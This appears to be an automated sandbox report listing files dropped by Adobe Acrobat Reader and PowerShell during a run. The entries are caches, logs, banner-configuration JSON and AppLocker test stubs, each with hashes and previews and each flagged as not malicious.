SHA-512:	3D4B2A2A29E280D0F2D60912BEA9A532DB9AAD1E49DE93AFCD9536BA06E4B5D0BA089028A383A5D074E146EDBD5F292C5A480F14F3978415AD89E14D59687259
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5aa716da-6f32-48ab-8e3a-fd1e79b889bb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733910471,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.264211243132241
Encrypted:	false
SSDEEP:	6:YEQXJ2HXm+HV7+FIbRI6XVW7+0YsKoAvJf+dPeUkwRe9:YvXKXm+IYpW7fG28Ukee9
MD5:	8402E359BCF06C63D539CD9C5D76707F
SHA1:	57114C1D366CBE8081AFF7CFB6B22B7B028732F0
SHA-256:	E36E7A2BFF8E512E6BF4D09A352ADB2DE35F964033C55D700F00A9EED2343D27
SHA-512:	D19EC08DFD4AEC32E37CB032BDBB3B7B1400E66A4FFF12F04E6B9454196E997A44E7CA2EE57B25413BC8ABCD88FDA786ED56D3B36B4ACAF1254D48B39E6DEF40
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5aa716da-6f32-48ab-8e3a-fd1e79b889bb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733910471,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2619415091666815
Encrypted:	false
SSDEEP:	6:YEQXJ2HXm+HV7+FIbRI6XVW7+0YsKoAvJfbPtdPeUkwRe9:YvXKXm+IYpW7fGDV8Ukee9
MD5:	1D054FF502961AF95428EBFDC9A604CC
SHA1:	90DFC9607925855EB95A364240001682DB737938
SHA-256:	B28F5B231CD30F5655B6E0BEE48DC5626A9DFA1FE383368DB9BE2AD9A2CEBE13
SHA-512:	2F1BF37E11636A33AFBAED6186DC063184CCB952C9508E342B4490AD6DCB3C9FB7E461C3357ED3A318E0669EF12ED04AB8F75995E6CF33B28358A135731C2D11
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5aa716da-6f32-48ab-8e3a-fd1e79b889bb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733910471,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.264153573352598
Encrypted:	false
SSDEEP:	6:YEQXJ2HXm+HV7+FIbRI6XVW7+0YsKoAvJf21rPeUkwRe9:YvXKXm+IYpW7fG+16Ukee9
MD5:	2388C1AD111526CA350CD0E71D92337B
SHA1:	44F5B4615738E4DE294B235A1F93DA1F30DC6A01
SHA-256:	9C154F8DFEBF1BE903E45F641445AA27CF6E4E42609D5A4FC049B5BC2F016C8F
SHA-512:	0A1547C51AA3889679E1E9B5C01916A2706C98142444B6A8533D0148BFF64327D2472484CF334041A03FE708ADBE73D0AB5DCD4610DA9573A00045159E3118BB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5aa716da-6f32-48ab-8e3a-fd1e79b889bb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733910471,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660420065721479
Encrypted:	false
SSDEEP:	24:Yv6XxxigamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSa:YvhmBgkDMUJUAh8cvMa
MD5:	4748AF356D447E759CBE5E1043322E75
SHA1:	B828FC88625FEA78798A2B30A014812581AA5942
SHA-256:	2E3A412ABB94C9C5FC69BA9F2A730F434890D790B21C8C13B570861C505F85B9
SHA-512:	EA8E9F36F6E27184D5BA6C92B017C4B287CCAC74E210AA4ED2FD0E7F0E5B739ED33FAA80B02AB16FADDFA3A134345E576C8F583DE6F7BAF981C6BEA42A8184A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5aa716da-6f32-48ab-8e3a-fd1e79b889bb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733910471,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.237852227467829
Encrypted:	false
SSDEEP:	6:YEQXJ2HXm+HV7+FIbRI6XVW7+0YsKoAvJfshHHrPeUkwRe9:YvXKXm+IYpW7fGUUUkee9
MD5:	9EE50F7B389D0A7A58D0383EB9A7BFAD
SHA1:	AF4AC6CE4DD51080B3A84F67F8C99C9CBF9DDD92
SHA-256:	206E2BBF101C1B3BBDB2C9C33CA28EF042EDA9D2BC9FA1DD48A5BF86C8694D78
SHA-512:	3B2E66EA19BD104C8EABB8A3F09A30B27571FECE08BF57967C0FD501E67E0C0B1F378B9DBEFB18E1FDC2273044DDD8672730AE558FB9DDFD41DF6CB80C11A636
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5aa716da-6f32-48ab-8e3a-fd1e79b889bb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733910471,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.256410923939386
Encrypted:	false
SSDEEP:	6:YEQXJ2HXm+HV7+FIbRI6XVW7+0YsKoAvJTqgFCrPeUkwRe9:YvXKXm+IYpW7fGTq16Ukee9
MD5:	F76DCBE8F06140C4CA988B2F781A8ABB
SHA1:	0DD20DBB6497EA38F3FE740A8E1BFF34EE9C1B1F
SHA-256:	E52588B3EC5341D767B1BC756D224E0624FF4082383C92F00CBE4FFDC72C299D
SHA-512:	40B7F0C460D92EF2C6E2549ECB4F4C531B622303B56609A7B2E294415BFC2063DE509A06EAA34F63344917AD2BD10BB5945F033863CF45623B220A2788C486BA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5aa716da-6f32-48ab-8e3a-fd1e79b889bb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733910471,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.14182222844363
Encrypted:	false
SSDEEP:	24:YLInEa5d3ay5ZLRJvgJGbNs6u1ZzosjVtj0SotY2Y2LSyCnzWy+h9zdB75J9igu6:YLIzxLRhbNs6YVBFlYYzWhh9xVL9ig
MD5:	3BF94E5769CE8FC8FEBBDEEED654D1E6
SHA1:	840FFDD6D64274258623FEABAFB28041A1D4F252
SHA-256:	D0F935D8B568B50E115F7664E551BFE06B9F6176FBDEA600F96146A90E36F1BA
SHA-512:	DE50AA4DB32DDCE3EB64AF27325B0D2C1093A08029A5703FA4C40F93894E7899FB288E2CCFCF759A772867BD5FC497B35818D19D066137185C5E646191190277
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"cb44aec48927465a420da45d7466eac8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558215000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a5bafb498523400f23cc03989754ce55","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736558215000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"598381f6cca1bacab017d6126cde42b5","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736558215000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"920272ed52ff6230b9846c2fecceda18","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736558215000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"51e4a7e49423d82c9a89a1eaf4fa5c5a","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736558215000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"ff87ed1dd1c23253cdd0d5f00ab25679","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9846524902817513
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpWL4zJwtNBwtNbRZ6bRZ4qLF:TVl2GL7ms6ggOVpRzutYtp6P/
MD5:	0B72973D8317244D237C319B99E11A1A
SHA1:	15B6C701BAD6AABB25819365BAD1518A5ECAE534
SHA-256:	87101755A36F14E568F124119F9AB979A10A4EEBD19670C5C4333D82685DE701
SHA-512:	CBF7326536FC0218DCACF6E6849C63DA3F9AEEA964D02C0EA4A30CCABCEC36109CA49A779820B3871832E72AAC6824967A777B7DB9ADDB33F9F6FFA8795DC804
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3376243670148324
Encrypted:	false
SSDEEP:	24:7+twuEAD1RZKHs/Ds/SpWLPzJwtNBwtNbRZ6bRZWf1RZKiqLBx/XYKQvGJF7ursR:7MwnGgOVpKzutYtp6PMDqll2GL7msR
MD5:	A42A9D4FA19229B9AB68AEF7403CFECB
SHA1:	3000650334D5F402362567812D5584E44916A617
SHA-256:	3E92A41765D8D450472EC40A08F9EB099F58ADE7233376717FD9B9101F620625
SHA-512:	2A6B1C0C191D8B953CB80684310F97FD1E4D4A1E79F2A0483940EC8186A5F07511B58BD576008828EFE4D2A85378CAD2E2E55E0A2141AAD7BFC8B124888146D6
Malicious:	false
Preview:	.... .c.....2.B^......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgJYLz6c1x2qFkUknSWjp+42RMYyu:6a6TZ44ADEJYic1x2Jt2yK
MD5:	8FA069026BAE9FCF84686BD710C5AD9F
SHA1:	81F6B52B3E5B47A7ADC92543B41E2469D3795F06
SHA-256:	F252485CCCE7727D050A44813278AC3E635E6E6228DC8EB1063B0F436DA2E7A1
SHA-512:	9509F3C623DDC169A881FA7D42B448F6FAB534596F1BF6398FBA50C58B1851DDE377CC4CC4F7D2AA5D8A08014C5875A4571D9D987CD3671CA1BB4CB6E26F24DE
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI636cf.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5030768995714583
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClYH:Qw946cPbiOxDlbYnuRK+blH
MD5:	CCC5AA67954B2990CE3FEAA9580E660C
SHA1:	6A32A76BFEF1805156D74284846B0F244E34461D
SHA-256:	6D1A4F5D438A1285073D684FF6C0F38CC498643C11672DE00787398F050C7852
SHA-512:	4BEC9F8FDDFE0DAF2C66FF19FA92EDC203F419DCC87D49DDC22141A40FC00085ED24F46A2E8311284B428E34198E25F136BC03CECE8A7202C893EFB3842425E6
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.1.6.:.5.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bnlwgxof.xpl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d4sxk0l0.ftl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-16-51-536.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.344777425606604
Encrypted:	false
SSDEEP:	384:Fpr4zFmzVejxOmVUombeqZk314UUL9l6dz37ldtLOkdqYzkw4vVlWJWPakKsUpJn:dly
MD5:	9E8691B504A99B47E95705289AE7529D
SHA1:	97F7714E6144658D951C8DD8C21C32060A153EA0
SHA-256:	C80E0040D621590D0447E51A152F4934C7B64D10D1AD5A0F76D1873B23E5607A
SHA-512:	9EEBE054A9623ACC728F9F8B9EFA4545B0404EC2E2C7225CA6696A6832DD9957BAAF1F66DABD6011CAC4F5A93C7F05874780729BAF8F618BA46B0BAA384B4F88
Malicious:	false
Preview:	SessionID=2aa4f064-83a1-4216-8391-8b4565c95a89.1736558211548 Timestamp=2025-01-10T20:16:51:548-0500 ThreadID=7496 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=2aa4f064-83a1-4216-8391-8b4565c95a89.1736558211548 Timestamp=2025-01-10T20:16:51:549-0500 ThreadID=7496 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=2aa4f064-83a1-4216-8391-8b4565c95a89.1736558211548 Timestamp=2025-01-10T20:16:51:549-0500 ThreadID=7496 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=2aa4f064-83a1-4216-8391-8b4565c95a89.1736558211548 Timestamp=2025-01-10T20:16:51:549-0500 ThreadID=7496 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=2aa4f064-83a1-4216-8391-8b4565c95a89.1736558211548 Timestamp=2025-01-10T20:16:51:549-0500 ThreadID=7496 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.401598071083543
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbZ:u4
MD5:	43449C5A436AA177165F1E91261D6584
SHA1:	A8BD68CE07E6255F65A90384D7751A74C16A1A39
SHA-256:	8875C40D2F98590262751843A06B60E9CE53EEDB05FF09BB48E8956E9D5FBFBB
SHA-512:	58F107F30528578FCA1034F24E231F66850474AD232BECB25EE5F85AF477D986023D2387E3055CC6EADE437F254335AEF8A87F45422EEEF6CC0C42F485257E73
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\42031708-8491-40b7-91d5-0e6b566260a3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5cbd4cf4-23f6-43e2-9e13-1456e497bcf3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
